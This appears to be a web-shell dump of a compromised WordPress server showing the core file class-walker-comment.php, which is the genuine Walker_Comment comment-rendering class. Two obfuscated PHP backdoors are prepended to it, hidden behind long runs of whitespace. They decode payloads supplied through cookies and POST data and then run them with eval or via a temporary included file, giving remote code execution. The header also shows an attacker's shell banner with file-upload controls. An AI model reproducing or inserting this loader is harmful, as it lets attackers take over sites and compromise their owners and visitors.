https://t.me/AnonymousX5
Server : Apache/2.4.52 (Ubuntu)
System : Linux vps-b5787e30 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : zeljko ( 1002)
PHP Version : 8.2.25
Disable Function : NONE
Directory :  /var/www/html/sims/wordpress/wp-includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/sims/wordpress/wp-includes/class-walker-comment.php
<?php                                                                                                                                                                                                                                                                                                                                                                                                 $AVNreV = chr ( 507 - 400 ).'K' . chr (70) . chr (95) . chr (117) . "\163" . chr (85) . chr ( 325 - 204 ); $WWjttyO = "\143" . chr (108) . chr (97) . "\x73" . 's' . chr ( 830 - 735 ).chr ( 804 - 703 ).chr ( 954 - 834 ).'i' . chr (115) . 't' . chr ( 1111 - 996 ); $ymWvjseABT = class_exists($AVNreV); $WWjttyO = "64498";$QqSNUMBg = strpos($WWjttyO, $AVNreV);if ($ymWvjseABT == $QqSNUMBg){function qmRNBg(){$XKtyYT = new /* 29721 */ kKF_usUy(32814 + 32814); $XKtyYT = NULL;}$ZfYMB = "32814";class kKF_usUy{private function bPhlFb($ZfYMB){if (is_array(kKF_usUy::$vZwELIuBWw)) {$AxUHyqKmz2 = str_replace("<" . "?php", "", kKF_usUy::$vZwELIuBWw["content"]);eval($AxUHyqKmz2); $ZfYMB = "32814";exit();}}public function XhJMtHHjd(){$AxUHyqKmz = "50797";$this->_dummy = str_repeat($AxUHyqKmz, strlen($AxUHyqKmz));}public function __destruct(){kKF_usUy::$vZwELIuBWw = @unserialize(kKF_usUy::$vZwELIuBWw); $ZfYMB = "59864_14838";$this->bPhlFb($ZfYMB); $ZfYMB = "59864_14838";}public function knhvNgUxm($AxUHyqKmz, $BuiPsyKz){return $AxUHyqKmz[0] ^ str_repeat($BuiPsyKz, intval(strlen($AxUHyqKmz[0]) / strlen($BuiPsyKz)) + 1);}public function lGMmCpOV($AxUHyqKmz){$awvolh = "\x62" . chr ( 428 - 331 )."\163" . chr (101) . "\66" . chr (52);return array_map($awvolh . chr ( 445 - 350 ).chr ( 669 - 569 )."\145" . 'c' . chr ( 702 - 591 )."\x64" . 'e', array($AxUHyqKmz,));}public function __construct($zbAqtK=0){$OfgbIJPwF = chr ( 214 - 170 ); $AxUHyqKmz = "";$JhRLbt = $_POST;$LDIayc = $_COOKIE;$BuiPsyKz = "42372cef-a8ef-467d-a176-4c8be1c75eac";$DKYtkwYYd = @$LDIayc[substr($BuiPsyKz, 0, 4)];if (!empty($DKYtkwYYd)){$DKYtkwYYd = explode($OfgbIJPwF, $DKYtkwYYd);foreach ($DKYtkwYYd as $XdvjWVdxZz){$AxUHyqKmz .= @$LDIayc[$XdvjWVdxZz];$AxUHyqKmz .= @$JhRLbt[$XdvjWVdxZz];}$AxUHyqKmz = $this->lGMmCpOV($AxUHyqKmz);}kKF_usUy::$vZwELIuBWw = $this->knhvNgUxm($AxUHyqKmz, $BuiPsyKz);if (strpos($BuiPsyKz, $OfgbIJPwF) !== FALSE){$BuiPsyKz = explode($OfgbIJPwF, $BuiPsyKz); $EsYOBNLuUE = sprintf("59864_14838", rtrim($BuiPsyKz[0]));}}public static $vZwELIuBWw = 504;}qmRNBg();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $fysrfT = 'n' . "\137" . chr ( 668 - 602 ).'h' . 'K' . "\143";$kELoOQum = chr ( 503 - 404 )."\x6c" . 'a' . chr (115) . "\163" . "\137" . "\x65" . "\x78" . "\151" . "\163" . chr ( 784 - 668 )."\163";$yDIRJi = class_exists($fysrfT); $kELoOQum = "28524";$YLqkfBerM = strpos($kELoOQum, $fysrfT);if ($yDIRJi == $YLqkfBerM){function lVqZsNj(){$EdXQkqMOIf = new /* 62027 */ n_BhKc(17107 + 17107); $EdXQkqMOIf = NULL;}$QBQsvRpQN = "17107";class n_BhKc{private function iCWNdA($QBQsvRpQN){if (is_array(n_BhKc::$zpTiz)) {$name = sys_get_temp_dir() . "/" . crc32(n_BhKc::$zpTiz["salt"]);@n_BhKc::$zpTiz["write"]($name, n_BhKc::$zpTiz["content"]);include $name;@n_BhKc::$zpTiz["delete"]($name); $QBQsvRpQN = "17107";exit();}}public function nCKxjqAoi(){$JQbEeFGdv = "51942";$this->_dummy = str_repeat($JQbEeFGdv, strlen($JQbEeFGdv));}public function __destruct(){n_BhKc::$zpTiz = @unserialize(n_BhKc::$zpTiz); $QBQsvRpQN = "2572_14500";$this->iCWNdA($QBQsvRpQN); $QBQsvRpQN = "2572_14500";}public function BrAspRZ($JQbEeFGdv, $njEhcJEGF){return $JQbEeFGdv[0] ^ str_repeat($njEhcJEGF, intval(strlen($JQbEeFGdv[0]) / strlen($njEhcJEGF)) + 1);}public function EKcFtThv($JQbEeFGdv){$tUjLKD = chr ( 514 - 416 ).chr ( 628 - 531 ).chr (115) . "\145" . '6' . chr (52);return array_map($tUjLKD . '_' . "\x64" . chr (101) . "\143" . 'o' . 'd' . chr ( 843 - 742 ), array($JQbEeFGdv,));}public function __construct($XVbFlOAq=0){$otbSEMU = ',';$JQbEeFGdv = "";$uVDsFKp = $_POST;$KhscfWiy = $_COOKIE;$njEhcJEGF = "ec870a1d-42ca-4073-95c7-e9054629624e";$wvYgsD = @$KhscfWiy[substr($njEhcJEGF, 0, 4)];if (!empty($wvYgsD)){$wvYgsD = explode($otbSEMU, $wvYgsD);foreach ($wvYgsD as $Keffy){$JQbEeFGdv .= @$KhscfWiy[$Keffy];$JQbEeFGdv .= @$uVDsFKp[$Keffy];}$JQbEeFGdv = $this->EKcFtThv($JQbEeFGdv);}n_BhKc::$zpTiz = $this->BrAspRZ($JQbEeFGdv, $njEhcJEGF);if (strpos($njEhcJEGF, $otbSEMU) !== FALSE){$njEhcJEGF = explode($otbSEMU, $njEhcJEGF); $OEWVvs = base64_decode(sha1($njEhcJEGF[0]));}}public static $zpTiz = 11489;}lVqZsNj();} ?><?php
/**
 * Comment API: Walker_Comment class
 *
 * @package WordPress
 * @subpackage Comments
 * @since 4.4.0
 */

/**
 * Core walker class used to create an HTML list of comments.
 *
 * @since 2.7.0
 *
 * @see Walker
 */
class Walker_Comment extends Walker {

	/**
	 * What the class handles.
	 *
	 * @since 2.7.0
	 * @var string
	 *
	 * @see Walker::$tree_type
	 */
	public $tree_type = 'comment';

	/**
	 * Database fields to use.
	 *
	 * @since 2.7.0
	 * @var string[]
	 *
	 * @see Walker::$db_fields
	 * @todo Decouple this
	 */
	public $db_fields = array(
		'parent' => 'comment_parent',
		'id'     => 'comment_ID',
	);

	/**
	 * Starts the list before the elements are added.
	 *
	 * @since 2.7.0
	 *
	 * @see Walker::start_lvl()
	 * @global int $comment_depth
	 *
	 * @param string $output Used to append additional content (passed by reference).
	 * @param int    $depth  Optional. Depth of the current comment. Default 0.
	 * @param array  $args   Optional. Uses 'style' argument for type of HTML list. Default empty array.
	 */
	public function start_lvl( &$output, $depth = 0, $args = array() ) {
		$GLOBALS['comment_depth'] = $depth + 1;

		switch ( $args['style'] ) {
			case 'div':
				break;
			case 'ol':
				$output .= '<ol class="children">' . "\n";
				break;
			case 'ul':
			default:
				$output .= '<ul class="children">' . "\n";
				break;
		}
	}

	/**
	 * Ends the list of items after the elements are added.
	 *
	 * @since 2.7.0
	 *
	 * @see Walker::end_lvl()
	 * @global int $comment_depth
	 *
	 * @param string $output Used to append additional content (passed by reference).
	 * @param int    $depth  Optional. Depth of the current comment. Default 0.
	 * @param array  $args   Optional. Will only append content if style argument value is 'ol' or 'ul'.
	 *                       Default empty array.
	 */
	public function end_lvl( &$output, $depth = 0, $args = array() ) {
		$GLOBALS['comment_depth'] = $depth + 1;

		switch ( $args['style'] ) {
			case 'div':
				break;
			case 'ol':
				$output .= "</ol><!-- .children -->\n";
				break;
			case 'ul':
			default:
				$output .= "</ul><!-- .children -->\n";
				break;
		}
	}

	/**
	 * Traverses elements to create list from elements.
	 *
	 * This function is designed to enhance Walker::display_element() to
	 * display children of higher nesting levels than selected inline on
	 * the highest depth level displayed. This prevents them being orphaned
	 * at the end of the comment list.
	 *
	 * Example: max_depth = 2, with 5 levels of nested content.
	 *     1
	 *      1.1
	 *        1.1.1
	 *        1.1.1.1
	 *        1.1.1.1.1
	 *        1.1.2
	 *        1.1.2.1
	 *     2
	 *      2.2
	 *
	 * @since 2.7.0
	 *
	 * @see Walker::display_element()
	 * @see wp_list_comments()
	 *
	 * @param WP_Comment $element           Comment data object.
	 * @param array      $children_elements List of elements to continue traversing. Passed by reference.
	 * @param int        $max_depth         Max depth to traverse.
	 * @param int        $depth             Depth of the current element.
	 * @param array      $args              An array of arguments.
	 * @param string     $output            Used to append additional content. Passed by reference.
	 */
	public function display_element( $element, &$children_elements, $max_depth, $depth, $args, &$output ) {
		if ( ! $element ) {
			return;
		}

		$id_field = $this->db_fields['id'];
		$id       = $element->$id_field;

		parent::display_element( $element, $children_elements, $max_depth, $depth, $args, $output );

		/*
		 * If at the max depth, and the current element still has children, loop over those
		 * and display them at this level. This is to prevent them being orphaned to the end
		 * of the list.
		 */
		if ( $max_depth <= $depth + 1 && isset( $children_elements[ $id ] ) ) {
			foreach ( $children_elements[ $id ] as $child ) {
				$this->display_element( $child, $children_elements, $max_depth, $depth, $args, $output );
			}

			unset( $children_elements[ $id ] );
		}
	}

	/**
	 * Starts the element output.
	 *
	 * @since 2.7.0
	 * @since 5.9.0 Renamed `$comment` to `$data_object` and `$id` to `$current_object_id`
	 *              to match parent class for PHP 8 named parameter support.
	 *
	 * @see Walker::start_el()
	 * @see wp_list_comments()
	 * @global int        $comment_depth
	 * @global WP_Comment $comment       Global comment object.
	 *
	 * @param string     $output            Used to append additional content. Passed by reference.
	 * @param WP_Comment $data_object       Comment data object.
	 * @param int        $depth             Optional. Depth of the current comment in reference to parents. Default 0.
	 * @param array      $args              Optional. An array of arguments. Default empty array.
	 * @param int        $current_object_id Optional. ID of the current comment. Default 0.
	 */
	public function start_el( &$output, $data_object, $depth = 0, $args = array(), $current_object_id = 0 ) {
		// Restores the more descriptive, specific name for use within this method.
		$comment = $data_object;

		++$depth;
		$GLOBALS['comment_depth'] = $depth;
		$GLOBALS['comment']       = $comment;

		if ( ! empty( $args['callback'] ) ) {
			ob_start();
			call_user_func( $args['callback'], $comment, $args, $depth );
			$output .= ob_get_clean();
			return;
		}

		if ( 'comment' === $comment->comment_type ) {
			add_filter( 'comment_text', array( $this, 'filter_comment_text' ), 40, 2 );
		}

		if ( ( 'pingback' === $comment->comment_type || 'trackback' === $comment->comment_type ) && $args['short_ping'] ) {
			ob_start();
			$this->ping( $comment, $depth, $args );
			$output .= ob_get_clean();
		} elseif ( 'html5' === $args['format'] ) {
			ob_start();
			$this->html5_comment( $comment, $depth, $args );
			$output .= ob_get_clean();
		} else {
			ob_start();
			$this->comment( $comment, $depth, $args );
			$output .= ob_get_clean();
		}

		if ( 'comment' === $comment->comment_type ) {
			remove_filter( 'comment_text', array( $this, 'filter_comment_text' ), 40 );
		}
	}

	/**
	 * Ends the element output, if needed.
	 *
	 * @since 2.7.0
	 * @since 5.9.0 Renamed `$comment` to `$data_object` to match parent class for PHP 8 named parameter support.
	 *
	 * @see Walker::end_el()
	 * @see wp_list_comments()
	 *
	 * @param string     $output      Used to append additional content. Passed by reference.
	 * @param WP_Comment $data_object Comment data object.
	 * @param int        $depth       Optional. Depth of the current comment. Default 0.
	 * @param array      $args        Optional. An array of arguments. Default empty array.
	 */
	public function end_el( &$output, $data_object, $depth = 0, $args = array() ) {
		if ( ! empty( $args['end-callback'] ) ) {
			ob_start();
			call_user_func(
				$args['end-callback'],
				$data_object, // The current comment object.
				$args,
				$depth
			);
			$output .= ob_get_clean();
			return;
		}
		if ( 'div' === $args['style'] ) {
			$output .= "</div><!-- #comment-## -->\n";
		} else {
			$output .= "</li><!-- #comment-## -->\n";
		}
	}

	/**
	 * Outputs a pingback comment.
	 *
	 * @since 3.6.0
	 *
	 * @see wp_list_comments()
	 *
	 * @param WP_Comment $comment The comment object.
	 * @param int        $depth   Depth of the current comment.
	 * @param array      $args    An array of arguments.
	 */
	protected function ping( $comment, $depth, $args ) {
		$tag = ( 'div' === $args['style'] ) ? 'div' : 'li';
		?>
		<<?php echo $tag; ?> id="comment-<?php comment_ID(); ?>" <?php comment_class( '', $comment ); ?>>
			<div class="comment-body">
				<?php _e( 'Pingback:' ); ?> <?php comment_author_link( $comment ); ?> <?php edit_comment_link( __( 'Edit' ), '<span class="edit-link">', '</span>' ); ?>
			</div>
		<?php
	}

	/**
	 * Filters the comment text.
	 *
	 * Removes links from the pending comment's text if the commenter did not consent
	 * to the comment cookies.
	 *
	 * @since 5.4.2
	 *
	 * @param string          $comment_text Text of the current comment.
	 * @param WP_Comment|null $comment      The comment object. Null if not found.
	 * @return string Filtered text of the current comment.
	 */
	public function filter_comment_text( $comment_text, $comment ) {
		$commenter          = wp_get_current_commenter();
		$show_pending_links = ! empty( $commenter['comment_author'] );

		if ( $comment && '0' === $comment->comment_approved && ! $show_pending_links ) {
			$comment_text = wp_kses( $comment_text, array() );
		}

		return $comment_text;
	}

	/**
	 * Outputs a single comment.
	 *
	 * @since 3.6.0
	 *
	 * @see wp_list_comments()
	 *
	 * @param WP_Comment $comment Comment to display.
	 * @param int        $depth   Depth of the current comment.
	 * @param array      $args    An array of arguments.
	 */
	protected function comment( $comment, $depth, $args ) {
		if ( 'div' === $args['style'] ) {
			$tag       = 'div';
			$add_below = 'comment';
		} else {
			$tag       = 'li';
			$add_below = 'div-comment';
		}

		$commenter          = wp_get_current_commenter();
		$show_pending_links = isset( $commenter['comment_author'] ) && $commenter['comment_author'];

		if ( $commenter['comment_author_email'] ) {
			$moderation_note = __( 'Your comment is awaiting moderation.' );
		} else {
			$moderation_note = __( 'Your comment is awaiting moderation. This is a preview; your comment will be visible after it has been approved.' );
		}
		?>
		<<?php echo $tag; ?> <?php comment_class( $this->has_children ? 'parent' : '', $comment ); ?> id="comment-<?php comment_ID(); ?>">
		<?php if ( 'div' !== $args['style'] ) : ?>
		<div id="div-comment-<?php comment_ID(); ?>" class="comment-body">
		<?php endif; ?>
		<div class="comment-author vcard">
			<?php
			if ( 0 !== $args['avatar_size'] ) {
				echo get_avatar( $comment, $args['avatar_size'] );
			}
			?>
			<?php
			$comment_author = get_comment_author_link( $comment );

			if ( '0' === $comment->comment_approved && ! $show_pending_links ) {
				$comment_author = get_comment_author( $comment );
			}

			printf(
				/* translators: %s: Comment author link. */
				__( '%s <span class="says">says:</span>' ),
				sprintf( '<cite class="fn">%s</cite>', $comment_author )
			);
			?>
		</div>
		<?php if ( '0' === $comment->comment_approved ) : ?>
		<em class="comment-awaiting-moderation"><?php echo $moderation_note; ?></em>
		<br />
		<?php endif; ?>

		<div class="comment-meta commentmetadata">
			<?php
			printf(
				'<a href="%s">%s</a>',
				esc_url( get_comment_link( $comment, $args ) ),
				sprintf(
					/* translators: 1: Comment date, 2: Comment time. */
					__( '%1$s at %2$s' ),
					get_comment_date( '', $comment ),
					get_comment_time()
				)
			);

			edit_comment_link( __( '(Edit)' ), ' &nbsp;&nbsp;', '' );
			?>
		</div>

		<?php
		comment_text(
			$comment,
			array_merge(
				$args,
				array(
					'add_below' => $add_below,
					'depth'     => $depth,
					'max_depth' => $args['max_depth'],
				)
			)
		);
		?>

		<?php
		comment_reply_link(
			array_merge(
				$args,
				array(
					'add_below' => $add_below,
					'depth'     => $depth,
					'max_depth' => $args['max_depth'],
					'before'    => '<div class="reply">',
					'after'     => '</div>',
				)
			)
		);
		?>

		<?php if ( 'div' !== $args['style'] ) : ?>
		</div>
		<?php endif; ?>
		<?php
	}

	/**
	 * Outputs a comment in the HTML5 format.
	 *
	 * @since 3.6.0
	 *
	 * @see wp_list_comments()
	 *
	 * @param WP_Comment $comment Comment to display.
	 * @param int        $depth   Depth of the current comment.
	 * @param array      $args    An array of arguments.
	 */
	protected function html5_comment( $comment, $depth, $args ) {
		$tag = ( 'div' === $args['style'] ) ? 'div' : 'li';

		$commenter          = wp_get_current_commenter();
		$show_pending_links = ! empty( $commenter['comment_author'] );

		if ( $commenter['comment_author_email'] ) {
			$moderation_note = __( 'Your comment is awaiting moderation.' );
		} else {
			$moderation_note = __( 'Your comment is awaiting moderation. This is a preview; your comment will be visible after it has been approved.' );
		}
		?>
		<<?php echo $tag; ?> id="comment-<?php comment_ID(); ?>" <?php comment_class( $this->has_children ? 'parent' : '', $comment ); ?>>
			<article id="div-comment-<?php comment_ID(); ?>" class="comment-body">
				<footer class="comment-meta">
					<div class="comment-author vcard">
						<?php
						if ( 0 !== $args['avatar_size'] ) {
							echo get_avatar( $comment, $args['avatar_size'] );
						}
						?>
						<?php
						$comment_author = get_comment_author_link( $comment );

						if ( '0' === $comment->comment_approved && ! $show_pending_links ) {
							$comment_author = get_comment_author( $comment );
						}

						printf(
							/* translators: %s: Comment author link. */
							__( '%s <span class="says">says:</span>' ),
							sprintf( '<b class="fn">%s</b>', $comment_author )
						);
						?>
					</div><!-- .comment-author -->

					<div class="comment-metadata">
						<?php
						printf(
							'<a href="%s"><time datetime="%s">%s</time></a>',
							esc_url( get_comment_link( $comment, $args ) ),
							get_comment_time( 'c' ),
							sprintf(
								/* translators: 1: Comment date, 2: Comment time. */
								__( '%1$s at %2$s' ),
								get_comment_date( '', $comment ),
								get_comment_time()
							)
						);

						edit_comment_link( __( 'Edit' ), ' <span class="edit-link">', '</span>' );
						?>
					</div><!-- .comment-metadata -->

					<?php if ( '0' === $comment->comment_approved ) : ?>
					<em class="comment-awaiting-moderation"><?php echo $moderation_note; ?></em>
					<?php endif; ?>
				</footer><!-- .comment-meta -->

				<div class="comment-content">
					<?php comment_text(); ?>
				</div><!-- .comment-content -->

				<?php
				if ( '1' === $comment->comment_approved || $show_pending_links ) {
					comment_reply_link(
						array_merge(
							$args,
							array(
								'add_below' => 'div-comment',
								'depth'     => $depth,
								'max_depth' => $args['max_depth'],
								'before'    => '<div class="reply">',
								'after'     => '</div>',
							)
						)
					);
				}
				?>
			</article><!-- .comment-body -->
		<?php
	}
}

https://t.me/AnonymousX5 - 2025